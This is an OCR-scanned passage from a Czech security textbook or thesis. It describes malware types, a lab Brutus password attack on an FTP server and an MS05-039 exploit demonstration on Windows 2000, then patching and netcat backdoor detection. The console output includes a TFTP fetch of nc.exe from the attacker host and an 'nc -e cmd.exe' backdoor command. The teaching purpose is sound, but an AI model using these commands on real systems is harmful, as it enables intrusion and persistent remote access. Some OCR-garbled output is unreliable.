jaky jednoduchy nastroj. Nékdy se trojsky kin vydéava za program k odstranovani malware
(dokonce jako takovy muze fungovat a odstraiiovat konkurencni malware). Tato funkcnost

slouzi ale pouze jako maskovani zaSkodnické Cinnosti, kterou v sobé trojsky kin ukryva.
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Trojské koné se Casto vyskytuji v software stazeném z nedlvéryhodného zdroje.
Uzivatel tak mize ziskat pozménénou kopii aplikace obsahujici ¢ast programového kodu troj-

ského koné dodaného treti stranou.

Trojsky kin sice nedokéze sam infikovat dalsi pocitace nebo programy svoji kopii, ale
existuji vSak pocitacovi Cervi, ktefi na napadeném pocitaci instaluji trojské koné nebo vytva-

feji trojské koné z programi, které se v napadeném systému nachéazeji.

3.5 Spyware

Spyware je program, ktery vyuzivé internetu k odesilani dat z pocitae bez védomi
uzivatele. Velmi casto jsou takovymto zpiisobem odesilany informace o internetovych stran-

kach, kter¢ uzivatel navstivil a o programech, které ma v pocitaci nainstalované.

Takto ziskané informace jsou ¢asto vyuzity pro cilenou reklamu. Spyware ale dokéaze
odeslat i hesla a ptihlaSovaci udaje k nejriiznéj§im sluzbam jako je naptiklad emailovy uctet,

nebo ¢isla kreditnich karet.

Ptitomnost spyware v pocita¢i miZeme poznat napiiklad zménénou domovskou
strankou. Velice ¢asto spyware zpomali start pocitace a nabihdni internetu. Pi surfovani na in-

ternetu se mohou ve zvySené mife zobrazovat reklamy.

3.6 Adware

Adware je program zobrazujici reklamu na napadeném pocitaci. Nejcastéji je reklama
zobrazovana ve form¢ banerl, vyskakujicich Pop-up oken nebo ikon v oznamovaci oblasti.

Adware také méni domovskou stranku webového prohlizece aniz by si to uZivatel pral.

Adware byva Sifen jako soucast freewarovych a sharewarovych programi. Adware, na

rozdil od spyware, se do pocitace instaluje se souhlasem uzivatele.

3.7 Rootkit

Rootkit je program, ktery se snazi zamaskovat vlastni pfitomnost, nebo pfitomnost ji-
nych programt, v pocitaci. Rootkity slouzi predev§im k ukryvani soubort, maskovani zmén v

registrech, v procesech, nebo k maskovani zvysSené sitové aktivity.
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Nasledkem jejich plsobeni v systému neni pfitomnost zakeiného software odhalitelna

bézné dostupnymi systémovymi prostiedky.

3.8 Skodlivy poéitaéovy program budoucnosti

Skodlivé pocitatové programy prochézeji stalym vyvojem. Jejich tviirci byvaji o krok

pied autory antivirovych programi a zaplat zavaznych programovych chyb.

Skodlivé pocitatové programy budoucnosti budou muset byt jiné, nez ty dnedni.
Hlavni odliSnost bude spocivat ve schopnosti pfezit v riznorodém prostiedi. V dneSnim svété
pocitach prevladaji pocitace s jednim opera¢nim systémem, ale s rostoucim poctem mobilnich
zaiizeni bude tohoto faktu ubyvat. Skodlivé poéitagové programy se budou muset s timto fak-

tem vypotadat. Nebudou se jiz moci $ifit jednoduchou cestou jako doposud.

Nejdtive se nejspise setkdme se Skodlivym programem zamétenym na jeden konkrétni

druh zatizeni. Dopad takového druhu viru bude jen omezeny.

Dal$i moznou formou mize byt Skodlivy program s centralizovanou databéazi. Takovy
program si stdhne odpovidajici kod pro cilovou platformu, ovSem centralizovani databdze

piedstavuje zranitelné misto Skodlivého programu tohoto typu.

Velky potencial s sebou nesou Peer-to-peer sité¢ a proto mizou byt dalSim krokem ve
vyvoji Skodlivych pocitacovych programi komplexni programy s chovanim Peer-to-peer siti.
Program vybere obét’ a podle konfigurace cilového systému najde v siti svou kopii pro tuto

platformu.

Vyloudit nemliZzeme ani pouziti umélé inteligence a vyuziti obrovského vypocetniho

potencialu distribuované sité.

4 NEJBEZNEJSI METODY A DOPADY
POCITACOVYCH UTOKU

PocitaCové utoky se stale cCastéji stavaji nocni mirou spravcti podnikovych i malych
siti, administrator malych stanic i domacich uzivateli. Od dob kdy se vyuzivaji pocitace
témét vSude a ke vSemu, nartistd i pocet pocitacovych utoéniki. Pocitacovi utocnici chtéji nad

pocitacem ziskat kontrolu, ziskat z n¢j informace a pozdé&ji jej vyuzit ke svému ucelu. Ne-
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zabezpeceny a zastaraly systém pro né byva snadnou kofisti. Pfedev§im je tieba brat na vé-

domi ze utocnici zkousi stale nové figle, jak pocita¢ ovladnout.

4.1 Vyuziti bezpe€nostni mezery operac¢niho systému diky
Spatné konfiguraci

W

Spatn€ nakonfigurovany systém se Spatné zabezpefenymi sluzbami miZe byt velmi
snadno uspésn¢ napaden nejbéznéj$imi metodami pocitatovych utokd. Jedné se piedevsim o

konfiguraci v oblasti spravy uzivatelii a spravy zon, ze kterych bude sluzba dostupna.

4.1.1 Uhodnuti slabého hesla

Protoze pro vstup do systému a pro pristup ke sluzbam mnohdy sta¢i znalost uzivatel-
ského jména a hesla, je nutnosti volit heslo v souladu se zdsadami tvorby bezpecného hesla a
uchovavat jej v tajnosti. Zasady tvorby bezpecného a silného hesla jsou popsany v kapi-

tole 5.1.3.

Kvalitu hesla je mozné ovéfit napiiklad na internetové adrese: http://securitystats.com/

tools/password.php. Po zadani hesla je ohodnocena jeho bezpecnost.

Nyni bude poukdzdno na nutnost volit silné heslo pomoci slovnikového ttoku na
FTP server. K tutoku bude pouzit program Brutus, ktery je mozné stdhnout na internetové ad-

rese: http://www.hoobie.net/brutus/brutus-download.html.

Specializované slovniky pro pouziti k utoku jsou k dispozici ke stazeni na internetu.
Jako slovnik je také mozné pouzit naptiklad soubor slov ptekladového slovniku, nebo slovnik

slouzici ke kontrole pravopisu v textovém editoru, ¢i v emailovém klientu.

Program Brutus byl nastaven tak aby nacetl soubor s uzivatelskymi jmény, kterymi se
bude snazit ptihlasit a také soubor s hesly, kterd bude zadavat. Na FTP serveru je vytvotfen

uzivatel ,,user* a ma nastaveno heslo ,,princess®.

V konfiguraci FTP serveru byl imysIné vytvoren uZivatel user, ktery se ptihlasuje hes-

lem princess, protoze takové uZzivatelské jméno s jednoslovnym heslem v anglicting se ¢asto

vvvvvv

skytuje, bylo by k jeho uhodnuti nutné pouzit utoku hrubou silou, nebo alespont kombinaci

utokud hrubou silou a slovnikového utoku.
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Nevyhodou metod hadani hesla hrubou silou a slovnikovym utokem je fakt Ze pfi-
hlaSovani uzivatelii je ve vétsiné pripadl logovano a tento utok je v logu patrny na prvni po-
hled. Druhou nevyhodou je dlouha doba trvani tohoto toku, kterd mtze byt o to vétsi kdyz se
server pred timto utokem chrani tim Ze po ur¢itém poctu netspésnych pokusii o prihlaseni na
néjakou dobu zablokuje pfihlasovani uzivatele. Dalsi pokusy je mozné zkusit po uplynuti této
doby.

Pouzivanim kvalitniho hesla nelze zabranit jeho uhodnuti, ale silné heslo mize proces

hadani ztizit tak, ze je prakticky nemozné jej uhodnout.

Na obrazku 4.1.1 je zobrazen program Brutus, ktery jiz uhodl uzivatelské jméno a

jemu odpovidajici heslo.

Obr. 4.1.1: Program Brutus

B &5 i - AETY - s ioubis s s il - [y 20| J Jd
File Toaols Help

Target [192168.2102 oo | | [Pause | stop ||::|ear|
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Custom Options

Define sequence [ Usetelnet negobiaion T Ty to stay connected for |Unlirited - | atternpts

Authentication Optiong

v Usze Username [ Single User Pazs Mode ['Wiord List v|
Uzer File |'3fE"3k'3f"\t"UtUS"\'-JS'E””E'"""E"“St-t?'it Browse | PassFile  |rackerbrutusipassword-istht  Browse

Positive Authentication Resultz

Target | Tupe | Lzemarne Paszword |
192.168.2.102 FTP LIZET PrifCess

Tving username: none
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4.1.2 Ledabyle ponechany nezabezpeceny ucet, spusténa
nezabezpecena sluzba

Protoze uzivatel s uzivatelskym U¢tem typu administrator ma pfistup ke vSem systé-
movym prostiedkiim, miize spravovat systém, smi pfistupovat do registrti, libovolné zapisovat
a mazat data z disku a odesilat a pfijimat data ptes internet, je velmi diilezité, aby byl opatien
bezpecnym heslem. Pokud je heslo snadno uhodnutelné, nebo dokonce prazdné, je mozné ze

se bézny uzivatel ptihlasi na poc¢ita¢ pomoci tohoto uc¢tu a bude moci spravovat systém.

4.2 \Vyuziti programové chyby

V operacnich systémech se Casto objevuji programové chyby, které je tteba zaplatovat
diive, nez jsou zneuZity. Zaplaty vydava vydavatel operacniho systému, aplikuje je spravce
operac¢niho systému. Programové chyby se vyskytuji také v nainstalovanych programech a

sluzbach a tyto chyby je také mozné zneuzit.

Jako demonstrace nutnosti véas systém a programy zaplatovat, bude predveden ukaz-
kovy ttok na operacni systém Windows 2000 SP4 ve vychozim nastaveni pomoci exploitu.
Exploit je kratky program ktery vyuziva chyby programu. Tento exploit vyuZziva pieteceni za-
sobniku ve sluzb& Plug and Play. Tato chyba je oznacena kodem MS05-039 a jeji zneuziti
umoziuje vykonani jakéhokoliv kddu, v tomto piipadé ziskani vzdaleného piikazového radku
s pravy administratora. Podrobny popis chyby je zvefejnén v ¢lanku (14), zdrojovy kod ex-

ploitu pochazi z ¢lanku (13).

Zdrojovy kod exploitu 1ze zkompilovat do spustitelné podoby v Microsoft Visual Stu-
diu ve Windows. Exploit vyZaduje jako parametr IP adresu pocitace, na kterém béZi operacni
systém Windows 2000 SP4 a Cislo portu, na ktery je nutné se pfipojit k ziskani vzdaleného

ptikazového fadku.
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Obr. 4.2.1: Ziskani vzdalené ptikazové fadky pomoci exploitu
& - 0| x|
C:wTemprexploitMEA5—A39.exe 192.168.37.128 4444

(MEA5%—-A37> Microsoft Windows Plug—and-Play Service Remote Overflow
Universal Exploit + no crash zhellcode

Copyright <c» 2885 .: houseofdabus :=.

connecting to 192.168.37.128:445__ .ok

null session...ok

hind pipe...ok

sending crafted packet...ok

check your zhell on 192.168.37.128:4444

C:wTempine 192.168.37.128 4444
Microsoft Windows 20088 [Uersion 5.80.21951]
¢G> Copyright 19285-192? Microsoft Corp.

C:SUWINNT“system32>_

Na obrazku 4.2.1 je ptikazové fadka spusténa na pocitaci, ze kterého je ovéfovana na-
chylnost syst¢ému Windows 2000 SP4 na chybu MS05-039. Pocitac, na kterém je spustén ope-
ratni systtm Windows 2000 SP4 ma& IP adresu 192.168.37.128. Programem
exploitMS05-039.exe byla vyuzita bezpecnostni chyba a napadeny systém nasloucha na portu
4444 a ceka na pfipojeni na tento port aby navazal spojeni. K tomuto ucelu byl pouzit
program NetCat. Stejné tak mohl byt pouzit naptiklad program Telnet, ktery je béznou sou-

¢asti Windows.

Na napadeném pocita¢i se ve Spravci programiit Windows objevil novy proces
cmd.exe reprezentujici vzdalenou ptikazovou fadku. Déle, jak je vidét na obrdzku 4.2.2, ve
vypise programu NetStat se objevilo navazané spojeni s pocitacem utocnika pc5 na portu

4444,
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Obr. 4.2.2: Vypis programu netstat na napadeném pocitaci

[ Command Prompt M=l

C:srnetstat —a
Active Connections

Proto Local Address Foreign Address State
TCP pc2BB8:epnap pc2BBR:-A LISTENING
ICP pc2BdBimicrosoft—ds pc2BB@:A LISTENING
TCP pc2BB@:-1825 pc2BBld:-A LISTENING
TCP pc2BB@:=1A32 pc2BB@:8 LISTENING
TCP pc2B86: 4444 pc2BBld:-A LISTENING
TCP pc2BBB:nethios—ssn pc2B@d-@ LISTENING
TCP pc2B@@:1835 PCS:nethios—=ssn TIME_UWAIT
TCP pc2B86: 4444 PC5:1188 ESTABLISHED
uDp pc2@dB - epnap 323
unp pc2B@B:imicrosoft—ds
upp pc2BBB:-1826
upp pc2@d@:nethios—ns
unp pc2BBB:nethios—dgm

pc2BBB: izakmp

Cas

Nyni mé Uto¢nik k dispozici vzdaleny piikazovy fadek s administratorskymi pravy a
tim ziskal neomezenou moc nad napadenym pocitatem. Do pocitace je pfenesen program
NetCat a jsou jim vytvofena zadni vratka do systému. K pieneseni je pouzito protokolu
TFTP*. Pomoci TFTP protokolu je mozné pienaset soubory mezi po¢itaci pomoci pocitacové
sit€. Jednd se v podstaté¢ o odlehCenou variantu protokolu FTP obsahujici pouze jeho

nejnutnéjsi ¢asti. TFTP klient je standardni soucasti Windows.

Na pocitaci Utocnika je spustén jednoduchy TFTP server pomoci programu So-
larWinds TFTP Server. Tento TFTP server je freeware a Ize jej ziskat na internetové adrese

http://www.solarwinds.com/downloads/.

Pomoci vzdalené piikazové fadky je spuStén TFTP klient na napadeném pocitaci a s
pomoci tohoto klientu je napadeny pocita¢ pfipojen k pocitaci utocnika, aby bylo mozné
pfenést potfebné soubory z tociciho pocitae na napadeny. Na obrazku 4.2.3 je mozné vidét
pfenos souboru na napadeny pocita¢. V témze obrazku je na dal§im fadku program NetCat

spustén na napadeném pocita¢i v rezimu zadnich vratek.

Podobnym zplisobem by bylo mozné na napadeném pocitaci napiiklad vytvaret a
mazat uzivatelské ucCty, meénit uzivatelska hesla, ptidavat, odebirat a konfigurovat sluzby,

nebo mazat soubory.

4 TFTP (Trivial File Transfer Protocol).
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Obr. 4.2.3: Pfenos programu na napadeny pocita¢ pomoci protokolu TFTP

C(M5A5—A32> Microsoft Windows Plug—and-Play Service Remote Ouerf low
Universal Exploit + no crash shellcode

Copyright <c> 20605 .: houseofdabus :.

connecting to 192.168.37.128:445.. .0k
null session...ok

bind pipe...ok

sending crafted packet._..ok

check your shell on 192.168.37.128:4444

C=“Temp>nc 192_.168.37.128 4444
Microsoft Windows 2008 [Uersion 5.88_21951
¢G> Copyright 17851997 Microsoft Corp.

C=“UIMMT“system32>tftp —1i 192.168.37.1 get nc.exe
tftp —i 192.168.37.1 get nc.exe

Transfer successful: 61448 hytes in 1 second, 61448 hytesss
C=“UIMMT“system32>nc -L —p 4445 —d -e cmd.exe

nc —L —p 4445 —d —e cmd.exe

Microszoft Windows XP [Uerze 5.1.26801

CC» Copyright 1785-2801 Microsoft Corp.
C:»Documents and Settingsmarcorcd “temp
C:~Temprnc 192.168.37.128 4445

Microsoft Windows 2800 [Version 5.860.21951]

C(C>» Copyright 1985-1999 Microsoft Corp.

C=“UWINHT“systemd2>

REE

Ptedvedeno bylo jak je nesmirné dilezité udrZzovat operacni systém aktudlni a jak ka-

tastrofalni disledky miize mit zanedbani péce o operacni systém.

Podobnych exploitli je na internetu mnoho. Psani exploiti je velmi dualezité pro upo-

zornéni na mozné zneuziti zdvaznych bezpecnostnich mezer v operacnich systémech a pro

uspiseni jejich ndpravy. VEasnou aplikaci zéplat je mozné podobnym utokiim predejit.

Na systém bude aplikovana zaplata Windows2000-KB899588-x86-ENU.EXE, ktera

byla vydana pro opravu bezpecnostni chyby MS05-039. Zaplata je pro Windows 2000 SP4 k

dispozici ke staZeni na internetové adrese: http:/www.Microsoft.com/downloads/details.aspx?
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je zobrazena instalace zéplaty.

Obr. 4.2.4: Aplikace zaplaty
Software Update Installation Wizard

S

Iz thiz wizard to inztall the following zoftvare update:

Windows 2000 Hotfix -
KBE899588

Before pou install thiz update, we recommend that you:
- Update your spstem repair disk
- Back up your system
- Cloze all open programs

Y'au might need to restart your computer after you complete
thiz update. To continue, click Hest.

| M et > | Cancel

Po uspésné aplikaci zaplaty je znovu ovéfena bezpecnost systému Windows 2000 SP4
shodnym postupem jako pted aplikaci zaplaty. Protoze po vykonani exploitu na portu 4444
systém nenaslouchd, program NetCat se na tento port nedovedl piipojit a ukoncil se, jak je vi-

dét na obrazku 4.2.5.

Obr. 4.2.5: Provéfeni aktualizovaného systému exploitem

C:~TemprexploitM3B5-B37.exe 192.168.37.128 4444

(M5A5—-A3?> Microsoft Windows Plug—and-Flay Service Remote Ouerf low
Universzal Exploit + no crash zhellcode

Copyright <c) 28685 .: houseofdabus :=.

connecting to 192.168.37.128:-445.. ok
null sesszion...ok

bind pipe...ok

sending crafted packet.._ok

check your zhell on 192_168_37.128:-4444

C:~Tempinc 192.168.37.128 4444

C:sTempX_
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Dusledky zneuziti programové chyby miiZzou byt rizné, nemusi se bezpodminecné
jednat o ideélni ziskani vzdaleného ptikazového radku. Takové diisledky mohou byt naptiklad
ziskani prav administratora nestandardni cestou, pfistup k citlivym datim, vyfazeni sluzby

mimo provoz a podobng.

4.2.1 Princip exploitu prete€enim zasobniku

Exploit je program, ktery vyuzije chybu programu ke zméné chovani tohoto programu.
Vysledkem je Ze se program zacne chovat jinak nez by se choval, kdyby k programové chybé
nedoslo. Exploit je typicky zaméfen na vykonani ciziho kodu, ktery do ptivodniho programu
vubec nepatii. MliZze se jednat napiiklad o spusténi piikazové fadky. Takova varianta je velmi

vyhodna, protoze piikazovy fadek umoziuje zadavani dalsich ptikazi.

Zasobnik je struktura programu nachazejici se v operacni paméti a je vyuzivana pii
volani funkci. PfeteCeni zdsobniku je chyba programu. Typickym ptikladem této chyby miize
byt naptiklad zapis do bufferu o pevné definované velikosti. Pokud pfi tomto zapisu nejsou
kontrolovany hranice bufferu, miize tato chyba nastat pokud je objem zapisovanych dat vétsi,

neZ je kapacita bufferu.

Pokud je v programu volana funkce, na zasobnik jsou ulozZeny jeji parametry, navra-
tova adresa funkce a jeji lokalni proménné. Pokud jsou uvniti funkce naptiklad kopirovany ie-
tézce, nebo nacitan fetézec z uzivatelského vstupu, nebo ze souboru, nacitany fetézec muiize
ptetéct a prepsat tak data ndsledujici na zasobniku, nejprve vSechny lokalni proménné funkce
a potom i navratovou adresu funkce. Po ukonceni funkce program pokracuje programovym
koédem prave na této adrese. Tim je mozné docilit vykonani jiného programového kodu nez by

se vykonal kdyby k pteteceni fetézce nedoslo.

Pokud jsou na zasobnik cilené zapsana data, ktera zpiisobi smysluplné prepsani hodno-
ty adresy ndvratové funkce, je mozné s jistotou urcit kam se program po opusténi funkce vrati

a kde bude ve své Cinnosti pokracovat.

Hodnoty, které je tfeba na zdsobnik zapsat jsou do jisté miry velmi blizké nizkourov-
novému programovani v assembleru. Proto je funk¢nost exploitu ¢asto velmi zavisla na ope-

ranim systému a na architektuie procesoru. To dadva exploitim charakter jednoucelovosti.
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4.3 DoS - odmitnuti sluzby

Specifickym dasledkem, kterého miiZe Gtoénik chtit dosahnout, je takzvany DoS’. Na-
sledkem tspésného utoku je nedostupnost sluzby jejim béznym uzivatelim. DoS je nekdy ne-
kalou praktikou konkuren¢niho boje mezi spolecnostmi, kdy mize napiiklad vytazeni

internetového obchodu z funkce byt velkou ztratou.

Odmitnuti sluzby Ize dosdhnout nékolika zplsoby — vycerpanim kapacity linky, vy-

¢erpanim systémovych zdrojl, nebo zneuzitim chyby v programu (28).

Utok, ktery ma za nasledek vy¢erpani kapacity linky je mozné uskuteénit takovym
mnozstvim pozadavki, na které jiz prtichodnost linky nestaci a zadné dalsi pozadavky jiz
nemohou byt zpracovavany. Pro tento typ utoku se hojné pouziva DDoS°, ktery byva siln&jsi

nez DoS, protoZe na systém utoci n€kolik riznych ovladnutych pocitach naraz.

Utok metodou vy&erpani systémovych zdrojii miize obsazovat napiiklad procesorovy
Cas, operacni pamét’, nebo diskovy prostor. Nasledek tohoto titoku je ten ze napadenému sys-

tému chybi systémové zdroje k tomu, aby mohl uspokojivé obsluhovat své bézné uzivatele.

Utok metodou zneuziti chyby programu zptsobi Ze se sluzba zhrouti a prestane byt

dostupna svym béznym uzivatelim.

5 BEZPECNOST OPERACNIHO SYSTEMU

Dobré bezpecnost operacniho systému je podminkou pro to aby se systém nestal ne-
bezpeény pro samotné uzivatele pocitace. Dobfe zabezpefeny systém vyzaduje pravidelnou a
dikladnou udrzbu. Operaéni systém vyzaduje péci administratora, potfebuje byt zaplatovany,
aktualizovany a v neposledni fad¢ také spravné zkonfigurovany. Patfi¢nou pozornost a péci

vyzaduji taktéz v systému nainstalované programy a sluzby.
Nejvetsi péci vSak vyzaduji uzivatelé pocitace. Pocitac by méli uzivat pouceni uzivate-
1€, protoze nejveétsi hrozbou kazdého operacniho systému byvaji pravé oni samotni. Uzivatele

je tieba pravidelné Skolit o dodrzovani alespon téch nejzakladngjSich bezpecnostnich zésad.

Deset univerzalné pouzitelnych bezpecnostnich pravidel doporuc¢enych firmou Micro-

soft pii piilezitosti akce Stit bezpe&i (15):

5 DoS (Denial of Service, Odmitnuti sluzby).
6 DDoS (Distributed DoS, Distribuovany DoS).
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—

pravidelné aktualizujte operacni systém,

pouzivejte antivirovy program a pravideln¢ jej aktualizujte,
chraiite své ptipojeni firewallem,

nesnizujte zdkladni bezpecnostni nastaveni systému Windows,
pfistupujte pouze k divéryhodnym webovym strankam,
neinstalujte neovérené nebo nevyzkousené aplikace,

pied potvrzenim volby prostudujte, co potvrzujete,

nereagujte na nevyzadané emailové zpravy,

O N kWD

neotevirejte nevyzadané nebo nezndmé piilohy e-maild,

10. v ptipadé potizi kontaktujte odbornou pomoc.

5.1 Konfigurace systému

Po instalaci systému Windows je systém nakonfigurovan tak, aby vyhovoval co nej-
veét§imu poctu zakaznikl a proto jsou spustény nékteré sluzby které v t€ dané situaci nebudou

pouzivany a nekteré jiné potfebné spusténé nejsou.

5.1.1 Eliminace spusténych procesu a sluzeb

Kazdy spustény program a sluzba je potencialnim rizikem k tomu aby byl zneuzit,
nebo v ném byla objevena néjakd zavazna chyba, pomoci které mize Utocnik ziskat systém
pod svou kontrolu, proto je velice vyhodné spoustét pouze potfebné a ovéfené programy a

sluzby.

Spravce uloh systému Windows umi zobrazit mimo jiné seznam spusténych procest a
je standardni soucésti systému. Lze jej vyvolat stiskem klavesové zkraty CTRL+ALT+DELE-
TE a po pfepnuti na zdlozku procesy se objevi zminovany seznam bézicich procesti. Ve stan-
dardnim nastaveni zobrazuje o kazdém spusténém procesu nazev procesu, uzivatelské jméno
uzivatele, ktery jej spustil, mnoZzstvi procesorového ¢asu, ktery aktualné vyuziva v procentech
a mnozstvi paméti, které mu bylo pfidéleno. Timto néstrojem je mozné ménit prioritu bézicich

procest, ukoncovat je a spoustét nové procesy.

Alternativou k roz§ifenym funkcim Spravce uloh syst¢tmu Windows mulize byt na-
ptiklad program Process Explorer. Process Explorer zobrazuje procesy ve stromové struktuie
a ve vlastnostech kazdého procesu dokaze zobrazit velmi podrobné informace o bézicim pro-

cesu, napiiklad umisténi exe souboru na pevném disku, seznam DLL knihoven které proces
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pouziva a programova vlakna, kterd proces vytvoril. Program Process Explorer lze stdhnout

na internetové adrese http://technet.Microsoft.com/cs-cz/sysinternals/bb896653(en-us).aspx.

Nebezpecnost podezielych procest lze ovefit napiiklad na internetové adrese

http://www.processlibrary.com/directory/. Jedna se o internetovou stranku tématicky zame¢-

fenou na informace o procesech systému Windows.

Sluzby systému Windows lze spravovat pomoci nastroje s nazvem Sluzby, ktery je
standardni soucasti Windows. Lze jej spustit kliknutim na tlacitko Start, dale na polozku
Spustit a do okénka napsat piikaz ,,services.msc*. Sluzby je mozné spoustét, restartovat, poza-
stavovat a ukonCovat. Lze také nastavit kdy se mé sluzba spustit. MoZna nastaveni jsou spustit

sluzbu automaticky pfi startu systému, spustit ru¢n¢ a zakaz spousténi sluzby.

Program X-RayPc umi zobrazit jak seznam bézicich procest, tak seznam spusténych
sluzeb. Procesy dokaze spoustét 1 zastavovat a pii zastaveni procesu nabidne taktéZ moznost
vymazat exe soubor procesu z pevného disku. Tento program lze stahnout na internetové adre-

se http://www.x-raypc.com/download.php.

5.1.2 Analyza otevienych porti

Pocitace mezi sebou komunikuji pomoci sitovych protokoltt TCP a UDP. Na téchto
protokolech jsou definovany porty. Cislo portu slouZi k identifikaci aplikace spusténé na podi-
tadi. Cisla portli mohou byt v rozsahu ¢&isel 0 az 65535, z toho je interval 0 az 1023 vyhrazen
pro standardni porty (well-known ports), tyto porty jsou vétSinou pojmenovany podle sitové-

ho protokolu, kterym jsou vyuZivana.

Na pocita¢i mohou byt porty oteviené napiiklad v ptipadé ze program port oteviel a
pravé jej pouziva k prenosu, nebo na ném naslouchd a ¢ekd na pfichozi spojeni. Ptiklad ta-
kového programu mize byt naptiklad webovy server, ktery naslouché na portu http ¢islo 80.
Dalsim ptikladem je naptiklad FTP server, ktery naslouchd na portu ¢islo 21. Na portech ale

také naslouchaji programy backdoor, které tak vytvoii zadni vratka do systému.

Zadni vratka je mozné odhalit ve vypise otevienych porti systému. K vypisu

otevienych portil slouzi naptiklad program NetStat, ktery je standardni soucasti Windows.
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Dalsi metodou slouzici k odhaleni programti komunikujicich pfes sit’ je skenovanim
portl. Port scannery dokazou zjistit na kterych portech systém naslouchd. Na zékladé tohoto
vypisu je mozné€ podle ¢isla portu a povahy odpovédi pii pfipojeni na dany port odhadnout
jaky program je za naslouchani zodpoveédny. Parametr programu NetStat -n zajisti to Ze ve vy-
pisu se budou ¢isla portli zobrazovat numericky, a parametr -a zajisti Ze se ve vypisu objevi

vSechny oteviené porty.

Obr. 5.1.1: Vypis otevienych portl programem NetStat
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Ve vypise programu NetStat na obrazku 5.1.1 je moZné si vSimnout otevien¢ho portu
TCP 1234, ktery je svym cCislem vice nez podeziely. Tento port nenédlezi zddnému nazvu z
Well Known Names. Navic je tento port ve stavu naslouchani. Program NetStat je spustén
jesté jednou, tentokrat navic s parametrem -k, ktery ke kazdému portu zobrazi také jméno exe
souboru programu, ktery port oteviel. Z tohoto vypisu je mozné zjistit Ze port 1234 oteviel

program s nazvem nc.exe.

Déle je proveden scan portl programem NMap. Piepina¢ programu NMap -v mé vliv
na intenzitu skenovani a piepina¢ -F omezi rozsah skenovanych portli pouze na ¢isla portt,

ktera ma NMap nastavend ve svém konfiguratnim souboru. Tento piepinac se pouziva kvili
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urychleni skenovaciho testu. Ve vypise na obrazku 5.1.2 je mozné vidét Ze systém nasloucha

na portech 80, 135, 443, 445 a 1234.

Obr. 5.1.2: Sken portli programem NMap
-] - |=| x|

C:wtemp~nmap—4.28>nmap —v -F 127.1.1.1

WARNIMG: Could not import all necessary WinPcap functionz. You may need to upge
ade to version 3.1 or higher from http:sswm.winpcap.org. Hesorting to connect(
> mode —— Hmap may not function completely

SEarting Mmap 4.28 ( http:-/insecure.orgy 2> at 2008-84-27 14:80 Stredn® Evropa (h
efn® cas2
Machine 127.1.1.1 HMIGHT actuwally be listening on probe port 86
Initiating Parallel DHS resolution of 1 host. at 14:688
Completed Parallel DHE resolution of 1 host. at 14:86, 13.82s elapsed
Initiating Connect{> Scan at 14:0d
Scanning 127.1.1.1 [1256 ports]
Discovered open port 443/tcp on 127.1.1.1
Discovered open port 8B/tcp on 127.1.1.1
Discovered open port 135/tcp on 127.1.1.1
Dizcovered open port 1234-tcp on 127.1.1.1
Dizcovered open port 445-tcp on 127.1.1.1
Completed Connect<> Scan at 14:81, 65.54s elapsed <1256 total portsd
Host 127.1.1.1 appears to be up ... good.
Interesting ports on 127.1.1.1:
Mot zhown: 1251 filtered ports
FORT STATE SERUICE
B0-tcp open http
opeEn MSPpC
open https
open microsoft—ds
open hotline

Mmap finished: 1 IP address <1 host up? scanned in 7Y8.693 seconds

C:~temp~nmap—1.28%>

Je provedeno piipojeni programem NetCat na port 1234 a tim je ziskdna vzdalena
piikazova tadka testovan¢ho systému. Nyni je jisté ze v pocitaci je nainstalovdn program

zprostiedkujici zadni vratka do systému.

Nyni je vhodné tento zdvazny bezpecnostni nedostatek odstranit. Za timto ucelem je
mozné pouzit program CurrPorts, ktery umi zobrazit podrobné;jsi informace o otevienych por-
tech. Program jiZ neni konzolovym néstrojem, nybrz ma grafickou nadstavbu v podobé
grafického uzivatelského rozhrani. Informace o otevieném portu 1234 je mozné vidét na ob-
razku 5.1.3. Z tohoto vypisu je mozné zjistit ktery program je za otevieny port zodpoveédny a

navic také vim ve kterém souboru je tento program uloZeny.
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Obr. 5.1.3: Informace o vybraném otevieném portu programem CurrPorts

‘ EIOPENLES: Lj

0
Process Name: [nc.exe
| ProcessMame | process ID: [1548
Flalg.exe
@ Frerovp  Protocol: [TCP
%FIREFOX.EXE Local Port: [1234
& FIREFOX.ERE o
@ Frerox B Local Port Name: [
W httpd.exe Local Address: [127.1.1.1
N hitpd.exe Remote Port; |229
[Misass.exe
Flisass.exe Remote Port Name: |
%nc.exe Remote Address: ||]-|]-|]-|]

haost,

svehost 8xe | ot |Listening

Esvchost‘exe
Esvchost‘exe
Fswchost exe
Esvchost‘exe
Esvchost‘exe
Esvchost‘exe

F .

Process Path:
Product Name:

File Description:

|C:Atempinc.exe

File Version: [
0 System
@ System Comppeng? |
O System Process Created On: |4J'2?.*2I]l]3 1:58:23 PM
@ System User Name: |PCav\marak
i System

26 Opened Ports, 1 Selected

Za tato zadni vratka je zodpovédny program NetCat v rezimu poskytujicim zadni vrat-
ka do systému. Pomoci Spravce uloh syst¢ému Windows je ukoncen proces nc.exe a poté
smazéan soubor c:\temp\nc.exe. Program CurrPorts je moZzné stdhnout na internetové adrese

http://www.nirsoft.net/utils/cports.html

5.1.3 Zasady tvorby bezpeéného hesla

Protoze pro pfistup ke sluzbam, nebo k systému mnohdy staci znalost uzivatelského
jména a hesla, je nutnosti volit heslo v souladu se zdsadami tvorby bezpe¢né¢ho hesla a

uchovavat jej v tajnosti.
Zasady tvorby bezpecného hesla:
e Heslo by mélo byt co nejdelsi.

e Heslo by se mélo skladat z velkych i malych pismen a cCislic a by mélo ob-
sahovat i jiné nez alfanumerické znaky C ~! @ #$ % " & * () _+-={}|[]\:";"'

<>?,./).
e Heslo by nemélo byt odvoditelné z uzivatelského jména.

e Za heslo by nemélo byt voleno bézné slovo, jméno, osobni udaje, nazvy a vari-

anty téchto slov.
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e Heslo by nemé¢lo byt tvotfeno sekvenci naptiklad 123456, nebo abcdef, nebo 1

napiiklad qwerty.

e Za heslo je vhodné zvolit kombinaci vice slov, naptiklad vétu, kterd je lehce

zapamatovatelna, naptiklad ,,raduji-se-z-malickosti*

Kyvalitu hesla je mozné ovéfit naptiklad na internetové adrese: http://securitystats.com/

tools/password.php. Po zadani hesla je ohodnocena jeho bezpec¢nost.

5.1.4 Uzivatelska prava

Pokud se jiz né&jaky skodlivy program do systému dostane naptiklad nepozornosti
uzivatele, je mozné eliminovat nasledky jeho pisobeni alesponi Castecné. Pokud se takovy
program spusti s pravy piihlaSené¢ho uzivatele, jak tomu ve standardnich situacich je, je nanej-

vy$ vhodné uzivatelska prava omezit na minimum.

Velké skody mize v systému zplsobit program spustény s pravy administratora, pro-
